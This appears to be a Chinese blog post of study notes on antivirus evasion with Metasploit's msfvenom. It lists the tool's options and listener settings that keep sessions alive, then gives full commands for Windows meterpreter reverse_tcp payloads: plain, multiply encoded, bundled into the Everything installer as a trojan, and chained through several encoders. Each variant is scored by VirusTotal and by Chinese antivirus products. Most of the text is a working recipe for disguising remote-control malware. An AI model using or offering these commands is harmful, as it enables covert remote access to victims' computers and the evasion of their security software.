admin 管理员组

文章数量: 887021

  • msfvenom简介
  • 参数
  • 一些重要的监听参数
    • 防止假session
    • 防止session意外退出
    • handler后台持续监听
  • 实验环境
  • 裸奔payload(VT查杀56/71)
  • MSF自编码处理(VT查杀55/71)
  • MSF捆绑(VT查杀41/69)
  • MSF捆绑+编码(VT查杀43/70)
  • MSF多重编码(VT查杀41/70)

最近开始学习免杀,发现Tide团队有免杀的系列文章,先膜拜一波大佬,这里的博客是复现和学习的笔记,如果你对内容感兴趣可以学习参考链接里提供的地址

参考:
远控免杀专题文章(2)-msfvenom隐藏的参数
远控免杀专题文章(3)-msf自免杀(VT免杀率35/69)

msfvenom简介

msfvenom是msfpayload和msfencode的结合体,于2015年6月8日取代了msfpayload和msfencode。在此之后,metasploit-framework下面的的msfpayload(荷载生成器),msfencoder(编码器),msfcli(监听接口)都不再被支持。

参数

所有参数如上图,这里解释部分常用参数

-p, –payload < payload> 指定需要使用的payload(攻击荷载)。也可以使用自定义payload,几乎是支持全平台的
-l, –list [module_type] 列出指定模块的所有可用资源. 模块类型包括: payloads, encoders, nops, all
-n, –nopsled < length> 为payload预先指定一个NOP滑动长度
-f, –format < format> 指定输出格式 (使用 –help-formats 来获取msf支持的输出格式列表)
-e, –encoder [encoder] 指定需要使用的encoder(编码器),指定需要使用的编码,如果既没用-e选项也没用-b选项,则输出raw payload
-a, –arch < architecture> 指定payload的目标架构,例如x86 | x64 | x86_64
–platform < platform> 指定payload的目标平台
-s, –space < length> 设定有效攻击荷载的最大长度,就是文件大小
-b, –bad-chars < list> 设定规避字符集,指定需要过滤的坏字符例如:不使用 '\x0f'、'\x00';
-i, –iterations < count> 指定payload的编码次数
-c, –add-code < path> 指定一个附加的win32 shellcode文件
-x, –template < path> 指定一个自定义的可执行文件作为模板,并将payload嵌入其中
-k, –keep 保护模板程序的动作,注入的payload作为一个新的进程运行
–payload-options 列举payload的标准选项
-o, –out < path> 指定创建好的payload的存放位置
-v, –var-name < name> 指定一个自定义的变量,以确定输出格式
–shellest 最小化生成payload
-h, –help 查看帮助选项
–help-formats 查看msf支持的输出格式列表

比如

  • 想查看windows/meterpreter/reverse_tcp支持什么平台、哪些选项,可以使用msfvenom -p windows/meterpreter/reverse_tcp --list-options
  • 使用msfvenom --list payloads可查看所有payloads
  • 使用msfvenom --list encoders可查看所有编码器

评级最高的两个encoder为cmd/powershell_base64x86/shikata_ga_nai,其中x86/shikata_ga_nai也是免杀中使用频率最高的一个编码器了

  • 类似可用msfvenom --list命令查看的还有payloads, encoders, nops, platforms, archs, encrypt, formats

一些重要的监听参数

防止假session

在实战中,经常会遇到假session或者刚连接就断开的情况,这里补充一些监听参数,防止假死与假session。

msf exploit(multi/handler) > set ExitOnSession false   //可以在接收到seesion后继续监听端口,保持侦听。

防止session意外退出

msf5 exploit(multi/handler) > set SessionCommunicationTimeout 0  //默认情况下,如果一个会话将在5分钟(300秒)没有任何活动,那么它会被杀死,为防止此情况可将此项修改为0
msf5 exploit(multi/handler) > set SessionExpirationTimeout 0 //默认情况下,一个星期(604800秒)后,会话将被强制关闭,修改为0可永久不会被关闭

handler后台持续监听

msf exploit(multi/handler) > exploit -j -z

使用exploit -j -z可在后台持续监听,-j为后台任务,-z为持续监听,使用Jobs命令查看和管理后台任务。jobs -K可结束所有任务。
还有种比较快捷的建立监听的方式,在msf下直接执行:

msf5 > handler -H 10.211.55.2 -P 3333 -p windows/meterpreter/reverse_tcp

实验环境

为避免木马被杀导致别的平台没有机会检测,实验时会每次只启动一个杀软,然后截图,最后把关于这个木马的截图汇成一张图
选择的是当下最新版本的火绒、360、360杀毒、腾讯电脑管家,版本如下:
火绒:5.0.55.2
腾讯电脑管家:13.6.20672.243
360:12.0.0.2003
360杀毒:50.0.8170(64位)

裸奔payload(VT查杀56/71)

测试机器运行,在拖进win7的同时,360杀毒、火绒可报;手动运行程序,都能报
选择使用频率最高的windows/meterperter/reverse_tcp,这也是被各大杀软盯的最紧的一个

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -f exe -o payload1.exe


MSF自编码处理(VT查杀55/71)

测试机器运行,在拖进win7的同时,360杀毒、火绒,腾讯可报;手动运行程序,都能报
使用msfvenom --list encoders可查看所有编码器。
评级最高的两个encoder为cmd/powershell_base64x86/shikata_ga_nai,其中x86/shikata_ga_nai也是免杀中使用频率最高的一个编码器了。使用x86/shikata_ga_nai生成payload,参数-i为编码次数,我这里设置15次,并使用了-b参数去掉payload中的空字符

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -e x86/shikata_ga_nai -b "\x00" -i 15  -f exe -o payload2.exe

由于shikata_ga_nai编码技术是多态的,也就是说每次生成的payload文件都不一样,有时生成的文件会被查杀,有时却不会。当然这个也和编码次数有一定关系,编码次数好像超过70次就经常生成出错,但是编码次数多并不代表免杀能力强。

MSF捆绑(VT查杀41/69)

测试机器运行,360杀毒,火绒动静态可报,360动态可报,腾讯失败
在生成payload时可以使用捆绑功能,使用msfvenom的-x参数可以指定一个自定义的可执行文件作为模板,并将payload嵌入其中,-x后面跟对应文件路径就可以,我这里使用Everything来演示

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.239.128 LPORT=3333 -x Everything-1.4.1.1000.x64-Setup.exe -f exe -o payload3.exe

生成的文件对比一下,大小完全一致


另外,能否免杀也和你选的被捆绑exe有一定关系,可以选微软的一些工具作为模板exe程序,试试微软家的procexp.exe(VT查杀41/69)

MSF捆绑+编码(VT查杀43/70)

将上面的两种方式组合一下
火绒,360杀毒动静态可报,360动态可报,腾讯失败

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.239.128 LPORT=3333 -e x86/shikata_ga_nai -x Everything-1.4.1.1000.x64-Setup.exe -i 15 -f exe -o payload4.exe


MSF多重编码(VT查杀41/70)

360杀毒动静态可报,360动态可报,火绒和腾讯失败
msfvenom的encoder编码器可以对payload进行一定程度免杀,同时还可以使用msfvenom多重编码功能,通过管道,让msfvenom用不同编码器反复编码进行混淆。

如下命令

msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp -e x86/call4_dword_xor -i 14 LHOST=192.168.40.146 LPORT=5110 -f raw | msfvenom -a x86 --platform windows -e x86/countdown -i 13 -f raw | msfvenom -a x86 --platform windows -e x86/shikata_ga_nai -b "&" -i 4 -f raw | msfvenom -a x86 --platform windows -e cmd/powershell_base64 -i 10 -x Everything-1.4.1.1000.x86-Setup.exe -k -f exe > payload5.exe


本文标签: MSF